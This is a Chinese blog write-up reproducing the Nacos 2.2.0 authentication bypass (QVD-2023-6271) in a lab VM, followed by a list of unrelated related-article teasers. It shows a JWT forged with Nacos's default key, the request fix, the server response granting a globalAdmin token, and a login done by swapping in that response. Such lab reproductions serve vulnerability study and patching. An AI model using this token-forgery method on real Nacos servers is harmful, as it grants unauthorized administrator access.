Nacos身份绕过漏洞复现（QVD-2023-6271）
Nacos身份绕过漏洞复现（QVD-2023-6271）
环境配置
该漏洞主要用了win10_JAVA的环境，参考网上已有的复现文章，使用jdk-11.0.2_windows-x64_bin.exe
由于2.2.0之后的nacos已将本漏洞修复，所以本次复现使用2.2.0的包
下载完毕解压至虚拟机后，执行
startup.cmd -m standalone
启动本地nacos
有意思的点
度盘没会员，又弄不明白电驴，所以关于下载win10 iso找了几位师傅都无果，后续查找解决方法发现在windows官网中，F12+ctrl shift M，将UA设为ipone系设备再刷新，可直接进行下载。
复现过程
获取相应cookie
本漏洞须先准备一大于目前系统时间的时间戳，本机目前时间为2023/11/25，所以直接构造2023/11/26即可(1700982711)
使用nacos默认key进行jwt伪造
具体位置如下图：
直接把时间戳写进去即可：
得到值：eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0
构造请求包
这里报了个500的错，搜了一些资料，问了几位师傅都寄了
后来问了项目组的师傅，说是类型的问题，添加
Content-Type: application/x-www-form-urlencoded
即可
得到Token消息：
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=96ABFAC9B2CE500678E99664225AE34F; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0
Content-Type: application/json
Date: Sat, 25 Nov 2023 07:35:21 GMT
Content-Length: 197{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMDk4MjcxMX0.zcBeSKVO7InaQlAgnpJkENEzL_1xFSauSdP-_8HihR0","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
登录
使用hongzh0/hongzh0登录必然是登录不上的
劫持响应，将刚才的返回包替换掉后即可成功登录
相关文章：
Nacos身份绕过漏洞复现（QVD-2023-6271）
Nacos身份绕过漏洞复现（QVD-2023-6271） 环境配置 该漏洞主要用了win10_JAVA的环境，参考网上已有的复现文章，使用jdk-11.0.2_windows-x64_bin.exe 由于2.2.0之后的nacos已将本漏洞修复，所以本次复现使用2.2.0的包 下…...
Elasticsearch集群部署 head监控插件 Kibana部署 Nginx反向代理 Logstash部署
一、组件介绍1、Elasticsearch：2 、Logstash3、Kibana4、Kafka：5、Filebeat: 二、 Elasticsearch集群部署服务器创建用户安装ES修改配置文件创建数据和日志目录设置JVM堆大小 #7.0默认为4G修改安装目录及存储目录权限系统优化（1）增…...
网络和Linux网络_5(应用层)HTTP协议(方法+报头+状态码)
目录 1. HTTP协议介绍 1.1 URL介绍 1.2 urlencode和urldecode 1.3 HTTP协议格式 1.4 HTTP的方法和报头和状态码 2. 代码验证HTTP协议格式 HttpServer.hpp 2.2 html正式测试 Util.hpp index.html 2.3 再看HTTP方法和报头和状态码 2.3.1 方法_GET和POST等 2.3.2 报头…...
人工智能-注意力机制之残差连接和层规范化
残差连接和层规范化 层规范化和批量规范化的目标相同，但层规范化是基于特征维度进行规范化。尽管批量规范化在计算机视觉中被广泛应用，但在自然语言处理任务中（输入通常是变长序列）批量规范化通常不如层规范化的效果好。 以下代…...
linux centos安装nvm
安装目录 mkdir /opt/nvm && cd /opt/nvm安装包下载 wget https://github.com/nvm-sh/nvm/archive/refs/tags/v0.39.5.tar.gz注意：https://github.com/nvm-sh/nvm/tags获取新版本或所需版本下载链接并替换 安装包解压 for file in *.tar.gz; do tar -zxv…...
Spring（2）：Spring事务管理机制
Spring事务管理高层抽象主要包括3个接口，Spring的事务主要是由他们共同完成的： PlatformTransactionManager：事务管理器—主要用于平台相关事务的管理。TransactionDefinition： 事务定义信息(隔离、传播、超时、只读)—通过配置如…...
STK Components 二次开发-创建卫星
1.卫星数据 可以用stk 里面自带的 参数帮助文档。 也可以自己下载 CelesTrak: Current GP Element Sets 这里你所需要的最新卫星数据全有。 其实创建需要的就是卫星的二根数。 给定二根数也可以。 读取数据库中的卫星数据 这个接口优先下载最新的。 var tleList TwoL…...
【深度学习】因果推断与机器学习的高级实践 | 数学建模
文章目录 因果推断因果推断的前世今生（1）潜在结果框架（Potential Outcome Framework）（2）结构因果模型（Structual Causal Model，SCM） 身处人工智能爆发式增长时代的机器学…...
【华为OD】B\C卷真题 100%通过:字符串统计 C/C++实现
目录 题目描述： 示例1 代码实现： 【华为OD】B\C卷真题 100%通过:字符串统计 C/C实现 题目描述： 给定两个字符集合，一个为全量字符集，一个为已占用字符集。已占用的字符集中的字符不能再使用，要求输出剩…...
SparkSession介绍
一、 介绍 SparkSession是Spark 2.0中引入的新概念，它是Spark SQL、DataFrame和Dataset API的入口点，是Spark编程的统一API，也可看作是读取数据的统一入口；它将以前的SparkContext、SQLContext和HiveContext组合在一起࿰…...
Error PostCSS plugin autoprefixer requires PostCSS 8
文章目录 一、情况一二、情况二三、总结 在启动 vue项目时，突然控制台报错： Error: PostCSS plugin autoprefixer requires PostCSS 8。然后依次出现下面几种情况，依次解决完，项目就可以正常启动了 一、情况一 error in ./src/…...
纵观手机市场，手机即鏖战全面屏
9月13日，在相继发布Apple TV、Apple Watch 和iPhone 8/8 Plus之后，当大家都以为苹果新品发布会临近结束之时，苹果前CEO史蒂夫乔布斯的这句经典名言再现屏幕，iPhone X终于揭开了神秘面纱。 “One more thing”。 9月13日ÿ…...
基于C#实现Dijkstra算法
或许在生活中，经常会碰到针对某一个问题，在众多的限制条件下，如何去寻找一个最优解？可能大家想到了很多诸如“线性规划”，“动态规划”这些经典策略，当然有的问题我们可以用贪心来寻求整体最优解࿰…...
【数据结构】树与二叉树（廿三）：树和森林的遍历——层次遍历（LevelOrder）
文章目录 5.3.1 树的存储结构5. 左儿子右兄弟链接结构 5.3.2 获取结点的算法5.3.3 树和森林的遍历1. 先根遍历（递归、非递归）2. 后根遍历（递归、非递归）3. 森林的遍历4. 层次遍历a. 算法LevelOrderb. 算法解读c. 时间复杂度d.代码…...
常用连接池的使用（jdbc）java 连接数据库
C3P0 导入依赖 <!-- https://mvnrepository.com/artifact/c3p0/c3p0 --><dependency><groupId>c3p0</groupId><artifactId>c3p0</artifactId><version>0.9.1.2</version></dependency><!-- https://mvnrepository.c…...
linux嵌入式时区问题
目录 操作说明实验参考 最近有个针对时区的需求，研究了下。 查询网上的一些设置，发现基本都是系统中自带的一些文件，然后开机时解析，或者是有个修改的命令。 操作 但针对嵌入式常用到的 busybox 制作的最小系统，并没…...
Spring基于xml注入bean的几种方式； Spring 框架中都用到了哪些设计模式；Spring的自动装配
文章目录 Spring基于xml注入bean的几种方式：Spring的自动装配：在Spring框架xml配置中共有5种自动装配：基于注解的方式： Spring 框架中都用到了哪些设计模式？ Spring基于xml注入bean的几种方式： ࿰…...
name 属性：提高 Vue 应用可维护性的关键
🤍 前端开发工程师（主业）、技术博主（副业）、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…...
百战python04-循环结构
文章目录 趣味进度条：通过一个简单的进度条来进入循环的世界吧for-in循环语法内置函数range（）练习：累和下面是使用for循环对字符串（第一个for）、range函数的循环取值示例for循环对字典、列表取值（后面会讲解字典，列表）while循环while循环实现猜数字小游戏结束循环的操…...
JVM字节码文件的相关概述解读
Java全能学习面试指南：https://javaxiaobear.cn 1、字节码文件 从下面这个图就可以看出，字节码文件是可以跨平台使用的 想要让一个Java程序正确地运行在JVM中，Java源码就必须要被编译为符合JVM规范的字节码。 https://docs.oracle.com/java…...
网络编程（Modbus进阶）
思维导图 Modbus RTU（先学一点理论） 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议，由 Modicon 公司（现施耐德电气）于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍，多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解（初学者版） 1. static（默认值） 2. relative（相对定位） 3. absolute（绝对定位） 4. fixed（固定定位） 5. sticky（粘性定位） 三、定位元素的层级关系（z-i…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡（如 HAProxy、AWS NLB、阿里 SLB）发起上游连接时，将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后，ngx_stream_realip_module 从中提取原始信息…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多，如何一步解决，采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集（每个目录代表一个类别，目录下是该类别的所有图片），你需要进行以下配置步骤&#x…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库，例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体，比如 SnowballFight、Huggy the Do…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性： 隐藏字段的实现细节 提供对字段的受控访问 访问控制： 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性： 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑： 可以…...
Git 3天2K星标：Datawhale 的 Happy-LLM 项目介绍（附教程）
引言 在人工智能飞速发展的今天，大语言模型（Large Language Models, LLMs）已成为技术领域的焦点。从智能写作到代码生成，LLM 的应用场景不断扩展，深刻改变了我们的工作和生活方式。然而，理解这些模型的内部…...
省略号和可变参数模板
本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...
比较数据迁移后MySQL数据库和OceanBase数据仓库中的表
设计一个MySQL数据库和OceanBase数据仓库的表数据比较的详细程序流程，两张表是相同的结构，都有整型主键id字段，需要每次从数据库分批取得2000条数据，用于比较，比较操作的同时可以再取2000条数据，等上一次比较完成之后，开始比较，直到比较完所有的数据。比较操作需要比较…...
脑机新手指南（七）：OpenBCI_GUI：从环境搭建到数据可视化（上）
一、OpenBCI_GUI 项目概述 （一）项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台，其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言，首次接触 OpenBCI 设备时，往…...